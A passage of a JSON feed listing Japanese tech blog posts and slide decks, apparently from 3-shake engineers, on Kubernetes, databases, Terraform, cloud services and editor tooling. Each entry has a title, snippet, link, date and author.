シリーズ1昨日は@bells17さんによるChainguard imagesについて調べてみたでした。PostgreSQL Advent Calendar 2023 シリーズ2Kubernetes Advent Calendar 2023昨日は@yassan168さんによるRKE2ノードのCiliumを使ったeBPFな帯域制限をする話でした。 背景を眺める2023年10月12日にAlloyDB OmniのGAに併せてAlloyDB Omni o...","link":"https://zenn.dev/nnaka2992/articles/viewing_alloydb_omni_operator","isoDate":"2023-12-05T23:30:00.000Z","dateMiliSeconds":1701819000000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"はんだ付けから始めるEmbedded Rust on Espressif","contentSnippet":"はじめに突然ですがここに秋月電子で購入したESP32-C3があります。1個310円と他のESP32と比べても安価でCPUにRISC-Vを使ったチップです。https://akizukidenshi.com/catalog/g/gM-17493/以下のドキュメントはESP32シリーズを製造しているEspressifによるRustのハンズオンドキュメントです。今回これを読みながらESP32-C3でRustを動かして遊んでみます。Embedded Rust on EspressifThe Rust on ESP BookESP32単体ではPCと接続してプログラムを書き込め...","link":"https://zenn.dev/satoken/articles/rust-on-esp1","isoDate":"2023-12-05T16:22:25.000Z","dateMiliSeconds":1701793345000,"authorName":"satoken","authorId":"satoken"},{"title":"Chainguard imagesについて調べてみた","contentSnippet":"※この記事は3-shake Advent Calendar 2023 シリーズ1の12月5日の記事です最近Chainguard imagesというdistrolessコンテナイメージについて知ったので、簡単に調べてみました。 Chainguard imagesとは?Chainguard imagesはChainguard社によって提供されているdistrolessを中心としたセキュアなコンテナイメージ群だ、という理解です。Wolfiという(おそらくこれもChainguard社が開発している)コンテナ・クラウドネイティブ用途向けのLinux undistroなOSを利用して各C...","link":"https://zenn.dev/bells17/articles/chainguard-images","isoDate":"2023-12-05T03:58:09.000Z","dateMiliSeconds":1701748689000,"authorName":"bells17","authorId":"bells17"},{"title":"ECSの可用性設計を4つの軸で整理する","contentSnippet":"はじめに こんにちは!Sreake事業部 志羅山です。今年3月に3-shakeに入社し、長野県からリモートで仕事をしています(東京にも定期的に行ってます)。 最近、とあるお客様環境におけるECS(AWSのフルマネージド型 […]The post ECSの可用性設計を4つの軸で整理する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/ecs-availability-4-factors/","isoDate":"2023-12-05T02:48:59.000Z","dateMiliSeconds":1701744539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud Loggingについて","contentSnippet":"whatGoogle CloudのCloud Loggingについて基本概要など調べたことをまとめる適宜追記予定 Cloud Loggingとはhttps://cloud.google.com/logging/docs/overview?hl=jaGoogleCloud上のシステム等が生成したログを収集・保管・管理するための仕組み。基本的にGoogleCloud上のサービスが出力するログはCloud Loggingへと集められる。収集されたログはログバケットと呼ばれるストレージで保管され、期間が過ぎたら破棄するといった設定を行うことが可能。ログはコンソールのログ...","link":"https://zenn.dev/nedoko_dok0dko/articles/ef07acbb983d01","isoDate":"2023-12-04T11:05:41.000Z","dateMiliSeconds":1701687941000,"authorName":"seno","authorId":"seno"},{"title":"吉祥寺.pm35 でLTしてきました。 #kichijojipm","contentSnippet":"吉祥寺.pm こと 句会吉祥寺.pm35 に参加して、LTしてきました。kichijojipm.connpass.com資料はこちら。言いたいこととしてはベストプラクティスなんてないよ。一般的によりよいプラクティスやパターンはあるけど、どんなときには適用できる銀の弾丸的なものはないから、自身の組織とサービスに合わせてくみ上げていきましょうということ。正解はひとつ!じゃない!!その上で、ざっくりとどんな選択肢と選択するための観点を述べていきました。まだ全然ブラッシュアップできるのでどこかでまとめてブログに書きたいところです。ちなみに最後に出てくる あなたらしく○○ は同僚のスライドのパロディです。毎回時間オーバーするのでトークで申し込んだ方が良いのでは?というツッコミはごもっともです。懇親会でもTerraformのお悩みとか短いですが話せて楽しかったです。また参加したいですね。","link":"https://blog.masasuzu.net/entry/2023/12/03/161754","isoDate":"2023-12-03T07:17:54.000Z","dateMiliSeconds":1701587874000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Auroraアップグレード時のBlue/Green Deploymentsの利用","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 4日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめにAmazon Aurora2系について、標準サポート終了日(2024/10/31)まで1年を切りました。依然として、Aurora2系を利用しているシステムは多いのではないでしょうか。アプリケーションのテストや検証を考えると早めに動いていかなければならない時期となりました。本記事では、アップグレード方式・方針の一つとして、AWSからも推奨されているRDS Blue/Green Deplo...","link":"https://zenn.dev/hakushou41/articles/70b83066cd1741","isoDate":"2023-12-03T07:12:32.000Z","dateMiliSeconds":1701587552000,"authorName":"Shohei Takamura","authorId":"stakamura"},{"title":"Playwright Test generatorを利用したE2Eテスト ことはじめ","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 3日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめに現在、私はマイクロサービスを運用するSREを支援する人として活動しています。運用チームやSREが主導となって実施するメンテナンスやアップデート作業などでは、アップデート後の動作確認として、ブラウザを介したWebアプリケーションの簡易目視確認をします。これらの確認項目は、手順書へ項目を記載し、必要に応じてエビデンスをスクリーンショットで取得する必要があります。確認作業を網羅的にしようとす...","link":"https://zenn.dev/hakushou41/articles/65bc815b14354f","isoDate":"2023-12-02T15:00:00.000Z","dateMiliSeconds":1701529200000,"authorName":"Shohei Takamura","authorId":"stakamura"},{"title":"Lima で vz + rosetta を使って ARM VM 上で x86_64 バイナリを実行する","contentSnippet":"この記事は、3-shake Advent Calendar 2023 2日目のエントリ記事です。2023年10月に Docker Desktop for Apple silicon での Rose…","link":"https://qiita.com/yteraoka/items/0d793d06cddccad73b0b","isoDate":"2023-12-01T22:02:03.000Z","dateMiliSeconds":1701468123000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"2023-12-01 吉祥寺.pm ベストプラクティスと組織とIaC","contentSnippet":"ベストプラクティスなんてものはない","link":"https://speakerdeck.com/masasuzu/2022-12-01-ji-xiang-si-dot-pm","isoDate":"2023-12-01T05:00:00.000Z","dateMiliSeconds":1701406800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"データベースエンジニアのためのDB on Kubernetes入門ガイド","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 1日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめに1959年にW. C. McGeeがデータベースという概念を提唱してから約65年、様々なアーキテクチャのデータベースが提案され様々なプラットフォームで利用されてきました。古くはメインフレームを中心に動作していたデータベースは、マイコンブームとともにそのアーキテクチャを変えながらにオープン系システムへと主戦場を移して行きました。オープン系が主流になってからもその進化は止まることなく、ベア...","link":"https://zenn.dev/nnaka2992/articles/db_on_k8s_guide_for_db_engineers","isoDate":"2023-11-30T23:30:01.000Z","dateMiliSeconds":1701387001000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"データベース輪読会をやってみた話","contentSnippet":"はじめに こんにちは。株式会社スリーシェイク Sreake 事業部に所属している @suganamao です。Sreake 事業部は技術力が求められる領域で豊富な経験を持つ SRE の専門家が集まったチームです。事業部に […]The post データベース輪読会をやってみた話 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/database-reading-circle/","isoDate":"2023-11-29T03:45:53.000Z","dateMiliSeconds":1701229553000,"authorName":"Sreake","authorId":"Sreake"},{"title":"gin.vimでgitの差分を快適に閲覧する","contentSnippet":"2023/11/29のVim駅伝記事です。vimを切っ掛けにエンジニアになった話」でした。gin.vimというVim上でGitを便利に扱うプラグインがあります。ExコマンドのGinを通じて、gitコマンドを実行するのが素朴な使い方です(例:Gin commit)。Ginの代わりにGinBufferを使うと、コマンドの実行結果をバッファに出力できます(例:GinBuffer log -n 1)。","link":"https://blog.atusy.net/2023/11/29/gin-diff/","isoDate":"2023-11-29T00:00:00.000Z","dateMiliSeconds":1701216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KEP-4188: New kubelet gRPC API with endpoint returning local pods info","contentSnippet":"!KEP 持ち寄り会 #1 の登壇資料です。2023/11/27 時点の KEP-4188 の内容です。Kubernetes 1.29 時点で機能として入っていないので注意して下さい。また、後半の文章は考察を含んでおり、正確な情報でない可能性があります。 概要KEP-4188 は、Kubelet に Pod Conditions を公開する gRPC API を追加する KEP です。Pod Conditions は Status フィールドに含まれています。❯ kubectl get pods -n kube-system coredns-5d78c9869d-8gglh ...","link":"https://zenn.dev/toversus/articles/791c7916e21059","isoDate":"2023-11-27T08:23:13.000Z","dateMiliSeconds":1701073393000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"KEP-3063: Dynamic resource allocation","contentSnippet":"KEP持ち寄り会で発表した資料です。\\rKubernetesのKEP \\"Dynamic resource allocation\\" に関する情報をまとめた内容になります。\\r\\rイベントURL: https://kep.connpass.com/event/299651/\\r参考資料:\\r\\rhttps://zenn.dev/toversus/articles/fe2aa06f133b49 \\rhttps://kubernetes.io/blog/2022/12/15/dynamic-resource-allocation/ \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \\rhttps://github.com/kubernetes-sigs/dra-example-driver/blob/main/demo/demo-apps.png \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/components.png \\rhttps://github.com/cncf-tags/container-device-interface \\rhttps://github.com/containerd/containerd/blob/v1.7.9/pkg/cri/server/container_create_linux.go#L417-L419 \\rhttps://github.com/cncf-tags/container-device-interface/blob/main/pkg/cdi/container-edits.go#L70-L148 \\rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \\rhttps://github.com/kubernetes/kubernetes/pull/111023 \\rhttps://github.com/orgs/kubernetes/projects/95/views/1 \\rhttps://github.com/kubernetes/dynamic-resource-allocation \\rhttps://www.cncf.io/projects/akri/ \\rhttps://github.com/kubernetes-sigs/dra-example-driver \\rhttps://github.com/NVIDIA/k8s-dra-driver \\rhttps://github.com/intel/intel-resource-drivers-for-kubernetes \\rhttps://github.com/intel/intel-device-plugins-for-kubernetes \\rhttps://docs.google.com/document/d/1BNWqgx_SmZDi-va_V31v3DnuVwYnF2EmN7D-O_fB6Oo/edit#heading=h.bxuci8gx6hna \\rhttps://drive.google.com/file/d/1iLg2FEAEilb1dcI27TnB19VYtbcvgKhS/view\\rhttps://developer.nvidia.com/blog/nvidia-gpu-operator-simplifying-gpu-management-in-kubernetes/ \\rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/overview.html \\rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/cdi.html \\rhttps://intel.github.io/intel-device-plugins-for-kubernetes/README.html \\rhttps://github.com/NVIDIA/k8s-device-plugin\\rhttps://blogs.nvidia.com/blog/multi-instance-gpus/ \\rhttps://developer.nvidia.com/blog/nvidia-ampere-architecture-in-depth/ \\rhttps://groups.google.com/a/kubernetes.io/g/dev/c/BDtCFfXQbw0?pli=1\\rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689 \\rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689","link":"https://speakerdeck.com/bells17/kep-3063-dynamic-resource-allocation","isoDate":"2023-11-27T05:00:00.000Z","dateMiliSeconds":1701061200000,"authorName":"bells17","authorId":"bells17"},{"title":"GitHubとCircleCIからFour Keysを計測する","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。私は以前に、DORAチームの提案したFour Keysという指標の計測システムの調査・検証を行いました。以前の検証では、GitHubとGitLab、及びモックデ […]The post GitHubとCircleCIからFour Keysを計測する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/four-keys-with-github-circleci/","isoDate":"2023-11-22T01:25:41.000Z","dateMiliSeconds":1700616341000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQueryの メタデータってどこから見れるの?","contentSnippet":"whatBigQueryのメタデータの取得先について簡単にまとめたもの BigQueryのメタデータ、調べることが出来るの?A. 出来るということで、メタデータの主な取得先について記載していく テーブル情報やレコード数BigQueryにはINFORMATION_SCHEMAという、メタデータなどを保持しているビューが存在している。これらを利用してメタデータを取得することが出来る。ただし、テーブルの更新日やテーブルのデータ量については記録されていない。https://cloud.google.com/bigquery/docs/information-sche...","link":"https://zenn.dev/nedoko_dok0dko/articles/f6ccafeceac4a3","isoDate":"2023-11-21T10:26:24.000Z","dateMiliSeconds":1700562384000,"authorName":"seno","authorId":"seno"},{"title":"走馬灯のIaCは考えておいて","contentSnippet":"走馬灯のIaCは考えておいてというタイトルで登壇してきました\\r\\r技術的負債に向き合う Online Conference\\rhttps://findy.connpass.com/event/297813/\\r\\r走馬灯のセトリは考えておいての短編はどれも面白いのでオススメです。\\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015282/\\r\\r登壇ブログ |『走馬灯のIaCは考えておいて』というタイトルで登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2023/11/21/132144","link":"https://speakerdeck.com/nwiizo/zou-ma-deng-noiachakao-eteoite","isoDate":"2023-11-21T05:00:00.000Z","dateMiliSeconds":1700542800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞","contentSnippet":"株式会社スリーシェイクは、この度 Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」において、スリーシェイクから3名のエンジニアが受賞したことをお知らせいたします。The post スリーシェイク、Google Cloud Japan の「Google Cloud Partner Top Engineer 2024」にて3名のエンジニアが受賞 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-partner-top-engineer-2024/","isoDate":"2023-11-20T00:50:00.000Z","dateMiliSeconds":1700441400000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ChatGPTのFunctionCallをGolangで試してみる","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 今回、ChatGPTの新機 […]The post ChatGPTのFunctionCallをGolangで試してみる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/chatgpt-function-call-with-golang/","isoDate":"2023-11-17T11:24:01.000Z","dateMiliSeconds":1700220241000,"authorName":"Sreake","authorId":"Sreake"},{"title":"プラグインをURLで指定しやすくするために、tree-sitterでURIパーサーを作ってNeovimを彩ってみた","contentSnippet":"この記事はVim駅伝2023年11月17日(金)の記事です。VimやNeovimでプラグインマネージャーに使いたいプラグインを指定するとき、GitHubでの配布物であればユーザー名/レポジトリ名での指定が一般的です。","link":"https://blog.atusy.net/2023/11/17/tree-sitter-uri/","isoDate":"2023-11-17T00:00:00.000Z","dateMiliSeconds":1700179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ツールごとのOPA/Regoの書き方","contentSnippet":"RegoとはKubernetesやTerraformの静的解析で既存のルールでは足りないときや自分でカスタマイズしたいときにRegoというポリシー言語でコードを書くhttps://www.openpolicyagent.org/docs/latest/policy-language/ Regoを利用できるツールの例conftesthttps://www.conftest.dev/自分で全部書くtrivyhttps://aquasecurity.github.io/trivy/latest/docs/scanner/misconfiguration/cust...","link":"https://zenn.dev/tayusa/articles/63f286f4733a87","isoDate":"2023-11-16T03:05:53.000Z","dateMiliSeconds":1700103953000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表","contentSnippet":"株式会社スリーシェイクが提供するSRE総合支援サービス「Sreake(スリーク)」は、「 Google Cloud 生成 AI パートナー エコシステム 」を活用して、SREの業務を自動化・効率化し、これまでの人的リソースへの依存度を軽減する取り組みを開始することをお知らせいたします。The post スリーシェイク、生成AIを活用したSRE業務自動化への取り組みを発表 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-sre/","isoDate":"2023-11-14T00:50:00.000Z","dateMiliSeconds":1699923000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"MinIO Client で Amazon S3 や Cloudflare R2 を利用する","contentSnippet":"Cloudflare R2 は egress の費用がかからないということで手元のファイルのバックアップに使ってみようかなと思ったときにクライアントとして何を使おうかな aws cli 使うほ","link":"https://blog.1q77.com/2023/11/minio-client/","isoDate":"2023-11-12T11:13:31.000Z","dateMiliSeconds":1699787611000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"kube-proxy入門","contentSnippet":"Kubernetes Novice Tokyo #28 の登壇資料です\\r\\rイベントURL: https://k8s-novice-jp.connpass.com/event/293157/\\r配信URL: https://www.youtube.com/watch?v=LSW51Cm0Wc0\\r\\rコードリーディングメモ:\\rhttps://zenn.dev/bells17/scraps/5e41da598a8266\\r\\r参考資料:\\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.2 \\rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \\rhttps://qiita.com/Tocyuki/items/6d90a1ec4dd8e991a1ce \\rhttps://oxynotes.com/?p=6361#5 \\rhttps://atmarkit.itmedia.co.jp/ait/articles/1002/09/news119.html \\rhttps://hana-shin.hatenablog.com/entry/2022/06/21/215757 \\rhttps://qiita.com/syui/items/27020b970775a0c508ba \\rhttps://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands \\rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \\rhttps://github.com/torvalds/linux/blob/master/Documentation/networking/nf_conntrack-sysctl.rst \\rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \\rhttps://linuxjm.osdn.jp/html/iptables/man8/iptables-extensions.8.html \\rhttps://man.archlinux.org/man/conntrack.8.en \\rhttps://nomeu.net/8380/ \\rhttps://knowledge.sakura.ad.jp/4048/ \\rhttps://docs.openshift.com/container-platform/4.10/rest_api/network_apis/service-v1.html \\rhttps://stackoverflow.com/questions/75835169/kubernetes-loadbalancer-how-does-healthchecknodeport-work \\rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/#preserving-the-client-source-ip \\rhttps://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/ \\rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/ \\rhttps://hyoublog.com/2020/05/20/kubernetes-externalip-service/ \\rhttps://qiita.com/dingtianhongjie/items/8f3c320c4eb5cf25d9de \\rhttps://milestone-of-se.nesuke.com/nw-basic/as-nw-engineer/loopback-address-interface/ \\rhttps://kubernetes.io/docs/reference/networking/virtual-ips/ \\rhttps://kubernetes.io/docs/concepts/services-networking/service/ \\rhttps://kubernetes.io/ja/docs/concepts/services-networking/connect-applications-service/ \\rhttps://knowledge.sakura.ad.jp/22636/ \\rhttps://netfilter.org/index.html \\rhttps://madomadox.hatenablog.com/entry/2021/01/03/190730 \\rhttps://qiita.com/bashaway/items/e405d59d92670fbc5341 \\rhttps://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture \\rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \\rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \\rhttps://eng-entrance.com/linux-firewall \\r\\r\\r画像引用元:\\rhttps://github.com/kubernetes/community/tree/master/icons \\rhttps://github.com/kubernetes/kubernetes/tree/master/logo \\rhttps://github.com/cncf/artwork/tree/master/projects/kubernetes \\rhttps://github.com/kubernetes/kubeadm/tree/main/logos","link":"https://speakerdeck.com/bells17/kube-proxyru-men","isoDate":"2023-11-09T05:00:00.000Z","dateMiliSeconds":1699506000000,"authorName":"bells17","authorId":"bells17"},{"title":"Golangで行うポートスキャナ自作ではじめるペネトレーションテスト","contentSnippet":"はじめにオライリーでポートスキャナ自作ではじめるペネトレーションテストという本が発売されました。2章ではScapyを利用して実際にパケットを作成して、nmapのようなポートスキャナ自作します。パケットのカプセル化などNWの仕組みから丁寧に解説されていてとても良書だと思います。ただ筆者はPythonよりGolang派なので2章のプログラムをGolangに書き換えてみました。https://github.com/sat0ken/go-port-scanner※オリジナルはこちらhttps://github.com/oreilly-japan/pentest-starting...","link":"https://zenn.dev/satoken/articles/golang-port-scanner","isoDate":"2023-11-03T03:30:25.000Z","dateMiliSeconds":1698982225000,"authorName":"satoken","authorId":"satoken"},{"title":"Amazon ECSイベントをCloudWatch Logsへ収集する","contentSnippet":"この記事は、3-shake Advent Calendar 2023 1日目のエントリ記事です。 きっかけECSは、Container Insightsを有効化することでクラスタやサービスといった各レイヤのパフォーマンスメトリクスをCloudWatchに収集できる。一方で、以下のようなケースにおいて一定の仮説を導くためには、このメトリクスだけではやや不足感があるため、発生したイベントやその結果を別の方式で監視したくなった。メトリクスがスパイクしたタイミングで何が起きていたか?デプロイを実行したが結果はどうだったか?デプロイが失敗したが原因は何か?などなど・・調べてみ...","link":"https://zenn.dev/yuu0w0yuu/articles/df3a9fdef609e2","isoDate":"2023-11-02T08:33:22.000Z","dateMiliSeconds":1698914002000,"authorName":"Yutaro Shirayama","authorId":"yuu0w0yuu"},{"title":"Time-Slicing GPUs を Kubernetes で利用する","contentSnippet":"はじめに Kubernetes にて、1つのGPUを複数コンテナ (※ Pod内の複数コンテナ、複数のPodを指す) で使い倒したい。そんな時はありますでしょうか。本記事では、NVIDIA/k8s-device-plug […]The post Time-Slicing GPUs を Kubernetes で利用する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-time-slicing-gpu/","isoDate":"2023-10-31T08:39:06.000Z","dateMiliSeconds":1698741546000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ShellCheckで自動化の品質を向上させる","contentSnippet":"はじめに Site Reliability Engineering (SRE) の領域では、トイル (toil) の削減と効率的なオペレーションが大きな課題となっています。トイルというのは、手作業で繰り返し行う作業のこと […]The post ShellCheckで自動化の品質を向上させる first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/shellcheck-automation-enhancement/","isoDate":"2023-10-31T02:32:20.000Z","dateMiliSeconds":1698719540000,"authorName":"Sreake","authorId":"Sreake"},{"title":"テキストの折り畳みを彩る vim.treesitter.foldtext() を使ってみる","contentSnippet":"Neovim 0.10で使えるようになるvim.treesitter.foldtext()を使うと折り畳んだコードもキレイに色付けられるぞ。ラッパー書けば次の行の情報も色付けて表示できたりしてとっても便利だぞ。","link":"https://blog.atusy.net/2023/10/26/treesitter-foldtext/","isoDate":"2023-10-26T00:00:00.000Z","dateMiliSeconds":1698278400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【Terraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80】\\"Findy Terraform 活用大全 - IaCの今\\" に登壇","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Terraformのtfstateの分割パターンtfstate分割をリポジトリやリモートバックエンドのディレクトリ構成への適用する方法発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『 tfstate の分割パターンとディレクトリ構成への適用』ていうテーマで、 Findy Terraform 活用大全 - IaCの今 に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!『Terraform活用大全 - IaCの今。』の登壇資料です!!tfstateを分割してみんなで最高になろう✌\uD83C\uDFFB#Terraform_findyhttps://t.co/NteGvKdMEE— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) October 25, 2023 ちな、発表内容の詳細はこの記事をみてくれよな!","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/10/25/550144","isoDate":"2023-10-25T03:00:00.000Z","dateMiliSeconds":1698202800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"\uD83E\uDDD1‍\uD83D\uDE80 tfstate の分割パターンとディレクトリ構成への適用","contentSnippet":"『Terraform活用大全 - IaCの今』の登壇資料です\\r\\r\\r・Terraformのtfstateの分割パターン\\r・tfstate分割をリポジトリやリモートバックエンドのディレクトリ構成への適用する方法\\r\\rを紹介しました\\r\\rスライドでは少ししか分割パターンを紹介できませんでしたので、ぜひ元記事 (tfstateファイルの分割パターンとディレクトリ構成への適用) もご参照ください\uD83D\uDC4D\uD83C\uDFFB\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1717030862452384047","link":"https://speakerdeck.com/hiroki_hasegawa/tfstate-nofen-ge-hatantoteirekutorigou-cheng-henoshi-yong","isoDate":"2023-10-24T04:00:00.000Z","dateMiliSeconds":1698120000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"YugabyteDBのドキュメントを全部読む Day9","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Read I/O pathを読みました。今回はArchitecture > Core functions > High Availabilityを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。High availabilityYugabyteDBは一貫性と分断耐性を兼ね備えたデータベースであると同時にリーダーの障害時に新しいリーダーとしてフェイルオーバー出来るアクティブレプリカを持つことで高可用性(HA)を達成している。もしノードに障害が発生した場合、そのノード上で動作するYB-TServerとYB-Masterの停止を引き起こす。YB-TServer failureYB-TServerはYSQLレイヤとアクティブなIOを提供するピアーリーダータブレットを含むタブレットをホストする。YSQレイヤとタブレットピアーフォロワーとタブレットピアーリーダーで発生した障害はそれぞれ特別な方法であつかわれる。YQL failureアプリケーションの視点からみればYQLはステートレスである。そのためクライアントが発行したリクエストは単純に他ノードのYQLにリクエストが送信される。スマートクライアントを利用している場合、スマートクライアントは理想的なYB-TServerの場所をタブレットが所有するキーから検索し、リクエストを直接そのノードに転送する。Tablet peer follower failureタブレットピアーフォロワーはクリティカルパスではない。この障害はユーザーリクエストへの可用性に影響しない。Tablet peer leader failureタブレットピアーリーダーの障害は数秒以内にRaftレベルのリーダー選出を自動的にトリガーし、他のYB-TServerに配置されているタブレットピアーが新しいリーダーとして選出される。タブレットピアリーダーに障害が発生した場合、可用性が損なわている時間は約3秒(ハードビートの感覚がデフォルトの500msの場合)である。YB-Master failureYB-Masterは通常のIOオペレーションではクリティカルパスでは無いため、ユニバースを動作させるのに影響は無い。しかしYB-Masterは異るノードで動作するピアーのRaftグループの一部であるため。このピアーのうちの一つがアクティブなマスターで残りがアクティブスタンバイである。YB-Masterのリーダーであるアクティブマスターに障害が発生した場合、ピアーはリーダーの障害を検知し、新なアクティブマスターであるYB-Masterのリーダーを障害時に数秒以内で再選出する。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/9_core_functions_high_availability","isoDate":"2023-10-21T15:12:37.000Z","dateMiliSeconds":1697901157000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Google Application Integrationについて","contentSnippet":"whatGoogle Cloudの「Application Integration」というサービスについて軽く調べたことをまとめたログ関連してiPaasについても調べたことを記載する Application Integrationとはhttps://cloud.google.com/application-integration?hl=jaGoogle Cloudが提供するIntegration Platform as a Service(iPaaS)ソリューションビジュアルエディタを利用することによって、以下がノーコードで行えるイベントによるトリガーの...","link":"https://zenn.dev/nedoko_dok0dko/articles/365af68bb280e7","isoDate":"2023-10-18T09:20:05.000Z","dateMiliSeconds":1697620805000,"authorName":"seno","authorId":"seno"},{"title":"TailscaleのMagicDNSがなぜかLinux上で動かなくなったのでトラブルシューティングした","contentSnippet":"MagicDNSを使っているつもりだが、名前解決に失敗する……!どうやらLinuxの場合、NetworkManager + systemd-resolvedという構成を使っているケースが多いらしく、以下のようにして、 /etc/resolv.confを設定してやればいいようだ(Configuring Linux DNS)。","link":"https://blog.atusy.net/2023/10/17/tailscale-magicdns-with-networkmanager/","isoDate":"2023-10-17T00:00:00.000Z","dateMiliSeconds":1697500800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud Asset Inventoryとは","contentSnippet":"whatGoogle Cloud のCloud Asset Inventoryについて調べてわかったことの個人まとめ Cloud Asset Inventoryとはhttps://cloud.google.com/asset-inventory/docs/overview?hl=jaCloud Asset Inventory は、時系列データベースに基づいてインベントリ サービスを提供します。このデータベースは、Google Cloud のアセット メタデータの 35 日間分の履歴を保持します。過去 35 日間変更がない既存のアセットの場合、Cloud Asset ...","link":"https://zenn.dev/nedoko_dok0dko/articles/e80d73d4f28a79","isoDate":"2023-10-13T10:27:12.000Z","dateMiliSeconds":1697192832000,"authorName":"seno","authorId":"seno"},{"title":"kube-controller-manager入門","contentSnippet":"SRETT #7 で発表した資料です。\\rhttps://3-shake.connpass.com/event/293432/\\r\\r発表のライブ配信はこちら。\\rhttps://www.youtube.com/watch?v=h1VxlvF9bls\\r\\rzennのスクラップ:\\rhttps://zenn.dev/bells17/scraps/592a02b3bc1ff3\\r\\rスライドで紹介した参考リンク集:\\r- https://github.com/kubernetes/kubernetes/tree/v1.28.2","link":"https://speakerdeck.com/bells17/kube-controller-managerru-men","isoDate":"2023-10-12T04:00:00.000Z","dateMiliSeconds":1697083200000,"authorName":"bells17","authorId":"bells17"},{"title":"SRETT#7 エンプラ企業におけるK8s利用意義について再考","contentSnippet":"","link":"https://speakerdeck.com/parupappa2929/srett-number-7-enpuraqi-ye-niokeruk8sli-yong-yi-yi-nituitezai-kao","isoDate":"2023-10-12T04:00:00.000Z","dateMiliSeconds":1697083200000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた","contentSnippet":"こんにちは、初めましての方もそうでない方も、Sreake事業部 佐藤慧太(@SatohJohn)です。 今回Google CloudのVertex AI Search(旧Enterprise Search)について検証の […]The post Vertex AI Searchによる社内knowlegeの要約ツールをつくってみた first appeared on sreake.com | 